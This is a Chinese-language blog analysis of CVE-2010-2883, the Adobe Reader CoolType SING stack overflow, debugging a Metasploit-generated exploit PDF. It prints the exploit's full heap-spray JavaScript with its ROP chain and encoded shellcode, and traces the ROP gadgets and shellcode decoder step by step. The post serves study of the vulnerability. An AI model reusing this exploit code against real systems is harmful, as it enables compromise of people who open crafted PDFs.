CVE-2010-2883分析
发表于更新于
字数总计:1.9k阅读时长:10分钟 中国
CVE-2010-2883分析
漏洞简述
漏洞溯源
漏洞触发操作如下:
1 2 3 4 5 6
| .text:0803DD9F add eax, 10h ; get uniqueName addr .text:0803DDA2 push eax ; char * .text:0803DDA3 lea eax, [ebp+108h+var_108] ; get dst addr .text:0803DDA6 push eax ; char * .text:0803DDA7 mov [ebp+108h+var_108], 0 ; free dst addr .text:0803DDAB call strcat ; 导致溢出
|
在拷贝uniqueName
域时未考虑原uniqueName
长度考虑,直接调用strcat
函数,造成了栈溢出。
调试
测试样本为msf生成CVE-2010-2883利用exp:calc.pdf,生成exp的相关参数:
参数 |
值 |
module |
windows/fileformat/adobe_cooltype_sing |
FILENAME |
calc.pdf |
payload |
windows/exec |
cmd |
calc.exe |
将ttf解压后得到uniqueName
的位置:
调试时需要着重关注这部分。
strcat
函数运行完毕可以看到uniqueName
域被拷贝到了0x12E4D8
:
单步调试到如下位置发现程序会跑飞,且调用了icucnv36.dll
中的函数,与书中给出的调用情况一致:
1
| 0808B308 FF10 call dword ptr ds:[eax]
|
整理出的到该调用的路径:
1 2 3 4
| 0803DEAF E8 2A8DFDFF call CoolType.08016BDE 08016C56 E8 C64E0000 call CoolType.0801BB21 0801BB41 FF10 call dword ptr ds:[eax] 0808B308 FF10 call dword ptr ds:[eax]
|
可以看出这里是覆盖了虚函数表来进行之后的ROP的。
单步走进行栈帧切换:
1 2 3
| 4A80CB38 81C5 94070000 add ebp,0x794 4A80CB3E C9 leave 4A80CB3F C3 retn
|
ret
后EIP
变成0x4A82A714
:
0x0808B308
以及0x4A82A714
都是icucnv36.dll
模块中的gadget,由于该模块没有开启ASLR,所以使用该gadget比较方便。
进一步走esp
指向了0x0C0C0C0C
,之后就会通过嵌入pdf的js代码进行heap spray,触发shellcode:
用于heap spray的js代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| var junk = unescape;
var shellcode = junk( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc5da%ud6be%u7680%ud99a%u2474%u5bf4%uc931%u56b1%u7331%u0318%u1873%uc383%u62d2%u6683%ue032%u976c%u85c2%u72e5%u85f3%uf792%u35a3%u5ad0%ubd4f%u4eb4%ub3c4%u6010%u796d%u4f47%ud26e%ucebb%u29ec%u30e8%ue1cd%u31fd%u1f0a%u630f%u6bc3%u94a2%u2160%u1e7f%ua73a%uc307%uc68a%u5226%u9081%u54e8%ua946%u4ea0%u948b%ue47b%u627f%u2c7a%u8b4e%u11d1%u7e7f%u552b%u6147%uaf5e%u1cb4%u7459%ufac7%u6fec%u886f%u5457%u5d8e%u1f01%u2a9c%u4745%uad80%uf38a%u26bc%ud42d%u7c35%uf00a%u261e%ua133%u89fa%ub14c%u76a5%ub9e9%u624b%ue380%u4703%u1ba9%ucfd3%u68ba%u50e1%ue711%u1849%uf0bf%u0ed8%u2e40%u5e62%ucfbe%u7692%u9b05%ue0c2%ua4ac%uf089%u7151%ufb27%ubac5%uea1f%u5395%u0d5d%uff87%uebe8%uaff7%ua3ba%u1fb7%u147a%u4a50%u4b75%u7540%ue45c%u9aeb%u5c08%u0384%u1611%ucb35%u528c%u4775%ua224%ua038%ub04d%ud72d%u48ad%u72ae%u22ad%ud4aa%udafa%u01b0%u44cc%u644a%u824f%uf9b4%uf879%u6f83%u96c5%u7feb%u66c5%u15ba%u0ec5%u4e1a%u2b96%u5b65%ue78b%u64f0%u54fd%u0d52%u8203%u9294%ue1fc%ud5a6%u7702%u7d81%u876a%u7d91%ued6a%u2e11%ufa02%uc13e%u03e2%u8a95%u896a%u7878%u8e0b%udc50%u8f95%uc557%uf526%ufa18%u0ac7%u9f31%u0ac8%ua13d%udcf5%ud704%udd38%ue832%u400f%u6312%ud66f%ua664' );
var block = junk( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (block.length + 20 + 8 < 65536) block+=block;
payload = block.substring(0, (0x0c0c-0x24)/2); payload += shellcode; payload += block; _payload = payload.substring(0, 65536/2);
while(_payload.length < 0x80000) _payload += _payload;
__payload = _payload.substring(0, 0x80000 - (0x1020-0x08) / 2);
var heap_spray = new Array();
for (i=0;i<0x1f0;i++) heap_spray[i]=__payload+"s";
|
之后开始ROP:
1 2
| 4A8063A5 59 pop ecx 4A8063A6 C3 retn
|
1 2
| 4A802196 8901 mov dword ptr ds:[ecx],eax 4A802198 C3 retn
|
1 2
| 4A801F90 58 pop eax 4A801F91 C3 retn
|
1
| 4A80B692 - FF20 jmp dword ptr ds:[eax]
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 7C801A28 > 8BFF mov edi,edi 7C801A2A 55 push ebp 7C801A2B 8BEC mov ebp,esp 7C801A2D FF75 08 push dword ptr ss:[ebp+0x8] 7C801A30 E8 CFC60000 call kernel32.7C80E104 7C801A35 85C0 test eax,eax 7C801A37 74 1E je short kernel32.7C801A57 7C801A39 FF75 20 push dword ptr ss:[ebp+0x20] 7C801A3C FF75 1C push dword ptr ss:[ebp+0x1C] 7C801A3F FF75 18 push dword ptr ss:[ebp+0x18] 7C801A42 FF75 14 push dword ptr ss:[ebp+0x14] 7C801A45 FF75 10 push dword ptr ss:[ebp+0x10] 7C801A48 FF75 0C push dword ptr ss:[ebp+0xC] 7C801A4B FF70 04 push dword ptr ds:[eax+0x4] 7C801A4E E8 9DED0000 call kernel32.CreateFileW 7C801A53 5D pop ebp 7C801A54 C2 1C00 retn 0x1C
|
这段创建了一个名称为”iso88591”的文件:
1 2 3 4 5 6 7 8
| 0C0C0C24 4A801064 /CALL 到 CreateFileA 0C0C0C28 4A8522C8 |FileName = "iso88591" 0C0C0C2C 10000000 |Access = GENERIC_ALL 0C0C0C30 00000000 |ShareMode = 0 0C0C0C34 00000000 |pSecurity = NULL 0C0C0C38 00000002 |Mode = CREATE_ALWAYS 0C0C0C3C 00000102 |Attributes = HIDDEN|TEMPORARY 0C0C0C40 00000000 \hTemplateFile = NULL
|
继续ROP:
1 2
| 4A8063A5 59 pop ecx 4A8063A6 C3 retn
|
1 2
| 4A842DB2 97 xchg eax,edi 4A842DB3 C3 retn
|
1 2
| 4A802AB1 5B pop ebx 4A802AB2 C3 retn
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi 4A80A8A9 75 03 jnz short icucnv36.4A80A8AE 4A80A8AB B0 01 mov al,0x1 4A80A8AD C3 retn 4A80A8AE 3C 2F cmp al,0x2F 4A80A8B0 ^ 74 F9 je short icucnv36.4A80A8AB 4A80A8B2 3C 41 cmp al,0x41 4A80A8B4 7C 04 jl short icucnv36.4A80A8BA 4A80A8B6 3C 5A cmp al,0x5A 4A80A8B8 7E 08 jle short icucnv36.4A80A8C2 4A80A8BA 3C 61 cmp al,0x61 4A80A8BC 7C 0A jl short icucnv36.4A80A8C8 4A80A8BE 3C 7A cmp al,0x7A 4A80A8C0 7F 06 jg short icucnv36.4A80A8C8 4A80A8C2 8079 01 3A cmp byte ptr ds:[ecx+0x1],0x3A 4A80A8C6 ^ 74 E3 je short icucnv36.4A80A8AB 4A80A8C8 32C0 xor al,al 4A80A8CA C3 retn
|
1 2
| 4A801F90 58 pop eax 4A801F91 C3 retn
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| 7C8094EE > 8BFF mov edi,edi 7C8094F0 55 push ebp 7C8094F1 8BEC mov ebp,esp 7C8094F3 51 push ecx 7C8094F4 51 push ecx 7C8094F5 56 push esi 7C8094F6 33F6 xor esi,esi 7C8094F8 3975 1C cmp dword ptr ss:[ebp+0x1C],esi 7C8094FB 74 31 je short kernel32.7C80952E 7C8094FD 64:A1 18000000 mov eax,dword ptr fs:[0x18] 7C809503 FF75 1C push dword ptr ss:[ebp+0x1C] 7C809506 8DB0 F80B0000 lea esi,dword ptr ds:[eax+0xBF8] 7C80950C 8D45 F8 lea eax,dword ptr ss:[ebp-0x8] 7C80950F 50 push eax 7C809510 FF15 8C10807C call dword ptr ds:[<&ntdll.RtlInitAnsiSt> 7C809516 6A 00 push 0x0 7C809518 8D45 F8 lea eax,dword ptr ss:[ebp-0x8] 7C80951B 50 push eax 7C80951C 56 push esi 7C80951D FF15 8810807C call dword ptr ds:[<&ntdll.RtlAnsiString> 7C809523 85C0 test eax,eax 7C809525 0F8C B5390300 jl kernel32.7C83CEE0 7C80952B 8B76 04 mov esi,dword ptr ds:[esi+0x4] 7C80952E 56 push esi 7C80952F FF75 18 push dword ptr ss:[ebp+0x18] 7C809532 FF75 14 push dword ptr ss:[ebp+0x14] 7C809535 FF75 10 push dword ptr ss:[ebp+0x10] 7C809538 FF75 0C push dword ptr ss:[ebp+0xC] 7C80953B FF75 08 push dword ptr ss:[ebp+0x8] 7C80953E E8 DDFEFFFF call kernel32.CreateFileMappingW 7C809543 5E pop esi 7C809544 C9 leave 7C809545 C2 1800 retn 0x18
|
这段创建了一段文件内存映射:
1 2 3 4 5 6 7
| 0C0C0C68 4A801064 /CALL 到 CreateFileMappingA 0C0C0C6C 00000380 |hFile = 00000380 0C0C0C70 00000000 |pSecurity = NULL 0C0C0C74 00000040 |Protection = PAGE_EXECUTE_READWRITE 0C0C0C78 00000000 |MaximumSizeHigh = 0x0 0C0C0C7C 00010000 |MaximumSizeLow = 0x10000 0C0C0C80 00000000 \MapName = NULL
|
然后继续ROP,这段和上一段类似,目的如下:
1 2 3 4 5 6 7 8 9 10 11 12
| 7C80B995 > 8BFF mov edi,edi 7C80B997 55 push ebp 7C80B998 8BEC mov ebp,esp 7C80B99A 6A 00 push 0x0 7C80B99C FF75 18 push dword ptr ss:[ebp+0x18] 7C80B99F FF75 14 push dword ptr ss:[ebp+0x14] 7C80B9A2 FF75 10 push dword ptr ss:[ebp+0x10] 7C80B9A5 FF75 0C push dword ptr ss:[ebp+0xC] 7C80B9A8 FF75 08 push dword ptr ss:[ebp+0x8] 7C80B9AB E8 76FFFFFF call kernel32.MapViewOfFileEx 7C80B9B0 5D pop ebp 7C80B9B1 C2 1400 retn 0x14
|
以如下参数调用MapViewOfFile
:
1 2 3 4 5 6
| 0C0C0CA8 4A801064 /CALL 到 MapViewOfFile 0C0C0CAC 00000384 |hMapObject = 00000384 0C0C0CB0 00000022 |AccessMode = 0x22 0C0C0CB4 00000000 |OffsetHigh = 0x0 0C0C0CB8 00000000 |OffsetLow = 0x0 0C0C0CBC 00010000 \MapSize = 10000 (65536.)
|
继续ROP直到调用memcpy
函数:
1 2 3 4
| 4A801F90 58 pop eax 4A801F91 C3 retn ...... 4A80B692 - FF20 jmp dword ptr ds:[eax]
|
调用规则如下,将shellcode拷贝到0x03F00000
(该地址是随机变化的)这段刚创建的可执行可读写的内存:
1 2 3 4
| 0C0C0D44 03F00000 /CALL 到 memcpy 0C0C0D48 03F00000 |dest = 03F00000 0C0C0D4C 0C0C0D54 |src = 0C0C0D54 0C0C0D50 00001000 \n = 1000 (4096.)
|
然后跳转到该地址执行shellcode,首先保存一些上下文信息:
1 2 3 4
| 03F00000 DAC5 fcmovb st,st(5) 03F00002 BE D680769A mov esi,0x9A7680D6 03F00007 D97424 F4 fstenv (28-byte) ptr ss:[esp-0xC] 03F0000B 5B pop ebx
|
然后对shellcode内容每4个字节解密:
1 2 3 4
| 03F00010 3173 18 xor dword ptr ds:[ebx+0x18],esi 03F00013 0373 18 add esi,dword ptr ds:[ebx+0x18] 03F00016 83C3 04 add ebx,0x4 03F00019 ^ E2 F5 loopd short 03F00010
|
call0x4E000A3
,其实就是继续heap spray:
1
| 03F0001C E8 8200F000 call 04E000A3
|
后续就是调用WinExec
来执行calc.exe
,不多表述。
参考文章:
https://bbs.pediy.com/thread-246274.htm
https://blog.csdn.net/wangtiankuo/article/details/82994280?spm=1001.2014.3001.5501